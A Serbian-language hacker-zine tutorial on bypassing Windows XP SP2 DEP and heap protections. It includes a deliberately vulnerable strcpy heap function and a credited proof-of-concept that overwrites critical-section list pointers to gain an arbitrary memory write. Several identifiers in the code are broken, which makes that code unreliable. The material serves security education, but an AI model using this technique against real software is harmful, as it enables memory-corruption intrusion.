................... ...::: phearless zine #4 :::... ......................>---[ Bypass DEP on Heap ]---<...................... ............................>---[ by `and ]---<........................... im_happy_icefor[at]yahoo[dot]com [.1] Intro [.2] DEP ? . HW . SW . Configuration [.3] HEAP ? . Explain . Under Attack [.4] Exploit ? [.5] Appendix . Linked list . Critical Section . Literatura [.6] Outro ___________________________________________________________________________ -*==<[ 1. Intro ........................................................................... Aham, jos jedan broj phearless-a, i ja kao treba nesto da napisem :), pa evo mislim da je ovo zanimljivo ... isto koliko meni gledanje fudbala, ali sta je tu je ! Bacimo se na posao ! Sta vam treba ? Pa treba vam mozak, malo predznanja iz ove oblasti (Google u sake), zatim Win XP SP2 (ja ga koristim trenutno), neki compiler, ... ma videcemo sta jos usput ! Tip of the day : Ako hocete da imate hakersku konzolu uradite sledece : \HKEY_CURRENT_USER\Software\Microsoft\Command Processor Key: DefaultColor Value: a A da i obavezno procitajte moje prethodne tutorijale ako niste upoznati sa ovom temom. Mozete ih naci na www.lenaslave.cjb.net ___________________________________________________________________________ -*==<[ 1. DEP ? ........................................................................... Data execution prevention (DEP) je skup hardverskih i softverskih resenja koja su zaduzena za dodatno proveravanje memorije i samim tim sprecavaju izvrsenje sumljivih programa (exploita). -> Hardverski DEP markira sve memoriske lokacije u procesu kao non-executable, izuzev kada je na toj lokaciji stvarno neki izvrsni kod. Postoji vise nacina napada tj pokusaja ubacivanja koda u non-executable memoriske lokacije, DEP pomaze da se svi pokusaji presretnu i samim tim se desava Exception koji se dalje obradjuje ... Harverski implementiran DEP (ili kako se drugacije naziva Execution Protection (NX)) radi tako sto processor markira memoriju sa atributom koji oznacava da cod ne moze biti izvrsen sa te lokacije. Funkcionise na bazi virtuelne memorije, tj najcesce se menja bit (koji oznacava zabranjeno izvrsavanje ili ne) u PTE (Page Table Entry). DEP se implementira i kod 32-bitnih i 64-bitnih verzija Windowsa, javlja se kod svih nivoa aplikacija, kako kod obicnih usera tako i kod kernel moda i Device drivera. U user modu DEP Exception se javlja kao : STATUS_ACCESS_VIOLATION (0xc0000005) Prvi parametar ExceptionInformation koji se nalazi unutar EXCEPTION_RECORD strukture je tip Exceptiona koji se desio. A vrednost 8 u ExceptionInformation[] pokazuje da je Exception ustvari "Execution Violation". Kod vecine processa STATUS_ACCESS_VIOLATION je "unhandled" Exception i rezultira gasenjem procesa. U kernel modu se ne mogu selektivno markirati memoriske lokacije. Na 32-bitnoj verziji Windowsa DEP je primenjen na Stack, dok je kod 64-bitne verzije primenjen na Stack,Paged Pool i Session Pool ! Device Drivers takodje nisi u mogucnosti da izvrsavaju kod sa Stacka kada je ukljucen DEP. DEP access violation u kernel modu rezultira kao: ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY -> Softverski implemetiran DEP ( Sandboxing ) je predvidjen da umanji napade exploita koji iskoriscavaju propust u SEH-u (Structured Exception Handler). Implentira se koriscenjem /SafeSEH switcha prilikom compajliranja programa. Vise o ovome imate u ph#3 ili na mojoj web stranici. -> DEP se moze podesavati ako nam je to potrebno. Konfiguracija DEP-a se nalazi u Boot.ini switchevima i moze se podesavati na sledeci nacin : Dodavanjem : /noexecute=policy_level gde je policy_level definisan kao : AlwaysOn, AlwaysOff, OptIn ili OptOut. Ili drugi nacin : 1.Click Start, click Control Panel, dupli-click System. 2.Click Advanced tab onda, unutar Performance, click Settings. 3.Click Data Execution Prevention tab. 4.Click Turn on DEP for essential Windows programs and services only ako hocemo OptIn policy. 5.Click Turn on DEP for all programs and services except those I select ako hocemo OptOut policy. ============================================================================== Policy_Levels features : ------------------------------------------------------------------------------ * OptIn (default configuration) Sa ovom opcijom su samo Windowsovi servisi i procesi zasticeni ------------------------------------------------------------------------------ * OptOut DEP je ukljucen za sve procese ali se moze manuelno iskljucivati za odredjene ------------------------------------------------------------------------------ * AlwaysOn Uvek ukljucen DEP za sve procese i ne moze se iskljivati sa pojedine ------------------------------------------------------------------------------ * AlwaysOff Iskljucen svaki vid zastite ============================================================================== ___________________________________________________________________________ -*==<[ 3. HEAP ? ........................................................................... -> HEAP je rezervisani adresni prostor, velicine minimum jedne stranice, koju posle heap menadzer moze dinamicki alocirati po potrebi na manje delove. Heap menager je ustvari set funkcija za alociranje i oslobadjanje memorije koje se nalaze u ntdll.dll i ntoskrnl.exe. Svaki proces u trenutku kreiranja dobija default heap koji je velicine 1MB i raste prema potrebi. Heap memorija je organizovana u blokove koje se nazivaju "alocation units" ili indexi, koji su 8-byta veliki. Kako aplikacijama treba vise od 8-byta, tj vise blokova od po 8-bajta, za svaki skup blokova se kreira specijalni "header". Evo malo skicirano : =============================================================== Size | Previous Size --------------------------------------------------------------- Segment Index | Flags | Unused | Tag Index =============================================================== Sl.1 Zauzet header =============================================================== Size | Previous Size --------------------------------------------------------------- Segment Index | Flags | Unused | Tag Index --------------------------------------------------------------- Flink --------------------------------------------------------------- Blink =============================================================== Sl.2 Slobodan header Gde su : Size - Velicina bloka Previous Size - Prethodna velicina bloka Segment Index - Segmentni index koji pokazuje gde se memoriski blok nalazi Unused - Slobodni bajtovi Tag Index - tag index; Flink - pointer na sledeci slobodan blok Blink - pointer na prethodni slobodan blok Flags : - 0x01 - HEAP_ENTRY_BUSY - 0x02 - HEAP_ENTRY_EXTRA_PRESENT - 0x04 - HEAP_ENTRY_FILL_PATTERN - 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC - 0x10 - HEAP_ENTRY_LAST_ENTRY - 0x20 - HEAP_ENTRY_SETTABLE_FLAG1 - 0x40 - HEAP_ENTRY_SETTABLE_FLAG2 - 0x80 - HEAP_ENTRY_SETTABLE_FLAG3 Slobodni blokovi memorije su su sortirani po velicini i informacije o njima se cuvaju u nizu od 128 doubly-linked-list u heap headeru. Tj ako imamo na primer slobodne blokove cija je velicina 17 to znaci da ce svi ti blokovi biti smesteni u listu sa indexom 17 ( Freelist[17] ). Prvi index se ne koristi zato sto blok od 8 bajta ne moze da postoji a index 0 se koristi za blokove vece od 127 alociranih jedinica tj vecih od 1016 byta. Kako to izgleda na slici : .--------------------. | | | Heap Header | | | | | |--------------------| | Free list 0 | |--------------------| | ... | |--------------------| | Free list 33 | <----> [Free Entry] <----> [Free Entry] |--------------------| | Free list 34 | |--------------------| | ... | |--------------------| | Free list 127 | <----> [Free Entry] |--------------------| |... | |--------------------| | Lookaside list 0 | |--------------------| | Lookaside list 1 | |--------------------| | ... | |--------------------| | Lookaside list 127 | ----> [Free Entry] ----> [Free Entry] ---> [Null] |--------------------| | | '--------------------' Ako prilikom alokacije heap-a flag HEAP_NO_SERIALIZE nije postavljen a HEAP_GROWABLE jeste ( sto je default situacija ), onda da bi se ubrzala alokacija malih blokova ( ispod 1016 byta ) creira se single-linked lookaside lists. Na pocetku lookaside lista je prazna i raste samo kada se oslobadja memorija. Samim tim po defaultu se prilikom alociranja prvo proverava lookaside list a tek onda Freelists. -> Ajde sada da pogledamo kako izgleda jedna funkcija u kojoj je moguce izvrsiti Heap Overflow : ... HANDLE h = HeapCreate(0, 0, 0); // default flags DWORD vulner(LPVOID str) { LPVOID mem = HeapAlloc(h, 0, 128); // <..> strcpy(mem, str); // <..> return 0; } ... I sada kao sto mozemo videti funkcija vulner() kopira podatke iz stringa na koga pokazuje pointer str u alocirani memoriski blok na koga pokazuje buf, ali bez provere velicine stringa. A to znaci da ako se string veci od 127 bajta preda ovoj funkciji, dogodice se overflow koji ce prebrisati podatke u tom memoriskom bloku. Ako za vreme overflow-a susedni blok postoji i ako je free, onda ce se Flink i Blink pointeri prepisati. U trenutku brisanja slobodnog bloka ( onog koji smo prepisali ) iz doubly-linked freelist desava se sledece : mov dword ptr [ecx],eax mov dword ptr [eax+4],ecx EAX - Flink ECX - Blink .--------------------. | | | Block Header | | O | | | v | | | e | | | r |--------------------| | f | | | l | Buffer | | o | | | w | | | |--------------------| | w | Block Header | | a |--------------------| | y | Flink | | |--------------------| | | Blink | \/ '--------------------' Znaci moguce je prepisati Flink i Blink Pointere ... Pazi sad, postoje dva vida zastite\provere Heap-a na overflow, dodata u XP SP2, i to su : 1. Prilikom brisanja slobodnog bloka iz freelist, proveravaju se adrese Flink-a i Blink-a. Ovaj postupak se naziva "SafeUnlinking". 2. Ubacuje se controlni cookie, koji se prvoverava prilikom alokacije slobodnog memoriskog bloka. =============================================================== Size | Previous Size --------------------------------------------------------------- Cookie | Flags | Unused | Segment Index =============================================================== U slucaju da bilo koja od ove dve provere ne prodje dolazi do exeptiona. ___________________________________________________________________________ -*==<[ 3. Exploit ? ........................................................................... Kao sto vidimo veoma je tesko exploisati ovu ranjivost ali je opet moguce i to u nekim extremnim situacijama, npr prilikom inicijalizacije nekog programa uvek se prvo ucitavaju dll-ovi koje koristi tj alocira se memoriski prostor za njih na heap-u. Structura heap-a u tom trenutku izgleda otprilike ovako : .-----------------------. | Blok Header | |-----------------------| | 0 | x | |-----------------------| | A | B | |-----------------------| | 0 | 0 | |-----------------------| | ? | ? | '-----------------------' Gde je X CriticalSection ( kriticna sekcija programa ), a A i B su linkovane structure. Ako uspemo da izvrsimo overflow u structuri X, mozemo prepisati strukture A i B. Tj mozemo prepisati proizvoljnu memorisku adresu. Da bi razumeli zasto DEP ne reaguje na ovaj overflow pogledajmo sledecu sliku : |-----------------------------Critical Section \/ .-------------------------------. | 0 | X | A | B | '-------------------|-------^---' | | .-------------------\/------|---. | 0 | X | A | B | '-------------------------------' Ovde su A i B linkovane strukture a to znaci da kada doce do brisanja criticne sekcije programa ( RtlDeleteCriticalSection() ), dolazi i do brisanja linkovanih struktura iz doubly-linked liste, sto dalje znaci sledece : Moguce je izvrsiti overflow i prepisti proizvoljnu memorisku adresu zbog toga sto se ne proveravaju strukture A i B jer su izbrisane iz doubly-linked liste prilikom brisanja criticnih sekcija. I sada jedan PoC kode (by: icolas.falliere@gmail.com ) koji demonstrira ovu tehniku : #include #include #include VOID GetChunkList(DWORD *pChunks, INT * bChunks) { DWORD pid; HANDLE snapshot; HEAPLIST32 list; HEAPENTRY32 entry; BOOLEAN bNext; INT cnt = 0; pid = GetCurrentProcessId(); snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPHEAPLIST, pid); if(snapshot == INVALID_HANDLE_VALUE) { printf("[Error] Canot take a heap snapshot\n "); } else { ZeroMemory(&list, sizeof(list)); list.dwSize = sizeof(HEAPLIST32); bNext = Heap32ListFirst(snapshot, &list); while(bNext) { ZeroMemory(&entry, sizeof(entry)); entry.dwSize = sizeof(HEAPENTRY32); bNext = Heap32 irst(&entry, list.th32ProcessID, list.th32HeapID); while(bNext) { pChunks[cnt] = entry.dwAddress; cnt++; ZeroMemory(&entry, sizeof(entry)); entry.dwSize = sizeof(HEAPENTRY32); bNext = Heap32Next(&entry); } ZeroMemory(&list, sizeof(list)); list.dwSize = sizeof(HEAPLIST32); bNext = Heap32ListNext(snapshot, &list); } CloseHandle(snapshot); * bChunks = cnt; } } int main(void) { HANDLE hHeap; DWORD pChu ks[500]; INT nbChunks; INT i; HMODULE hLib; DWORD *p; hHeap = GetProcessHeap(); printf("Default heap: %X\n", hHeap); hLib = LoadLibrary("oleaut32.dll"); printf("LoadLibrary : oleaut32.dll\ "); GetChunkList(pChunks, &nbChunks); for(i = 0; i < nbChunks; i++) { // Chunk size is 40 bytes if(*(WORD *)(pChunks[i] - 8) == 5) { p = (DWORD *)(pChunks[i]); // Check if Link and nBLink are there if(p[2] && p[3]) { printf("Structure found at address: %8X\n", p); printf("Before modification : A=%8X B=%8X\n", p[2], p[3]); memcpy(p + 2, "AAAABBBB", 8); printf("After modification : A=%8X B=%8X\n", p[2], p[3]); break; } } } printf("Press Enter to terminate the program and trigger the access violation\n"); getchar(); return 0; } ___________________________________________________________________________ -*==<[ 3. Appendix ........................................................................... Da kao neki dodatak da objasnim malo neke stvari ako neko ne zna ... -> Linked list : Najjednostavija linkova lista je SingleLinkedList. Tj u svakom elementu liste postoji pointer koji pokazuje na sledeci element. Ili na NULL vrednost u slucaju da je to zadnji element. .--.--. .--.--. .--.--. .-. |1 I -|--->|2 I -|---> ... |33I -|--->|x| '--'--' '--'--' '--'--' '-' Doubly-linked list je lista koja ima pointer sledeci i prethodni element : Prvi element .--.--.--. .--.--.--. | x| | |<---->|*p|1 |&n| ... '--'--'--' '--'--'--' *p - pointer na prethodni element *n - pointer na sledeci element -> Critical section : Deo koda koji pristupa zajednickim objektima se zove kriticna sekcija. Taj pristup mora da se sinhronizuje, tako da nema zabune kada dve (ili vise) niti ( procesa ) pristupaju ( ili menjaju ) zajednickom objektu. -> Literatura : - Defeating Microsoft Windows XP SP2 Heap protection and DEP bypass by Alexander Anisimov - Bypassing Windows heap protections by Nicolas Falliere - Windows Heap Overflows by David Litchfield ___________________________________________________________________________ -*==<[ 3. Outro ........................................................................... Pa sta da kazem, txt je mozda malo kratak ali Shat je dao rok i mora se postovati ! Ali ako vas stvarno zanima, razumece te ga ... Ovaj windows sve vise i vise postaje sigurniji, nemam vise tema za pisanje, moram da predjem na linux :) Zahvalnice ide mojim drugarima (ne crew, ne team) sa blackhatz.net, a jedna velika palacinka sa plazmom, kremom, i malinama samo mojoj Leni !!!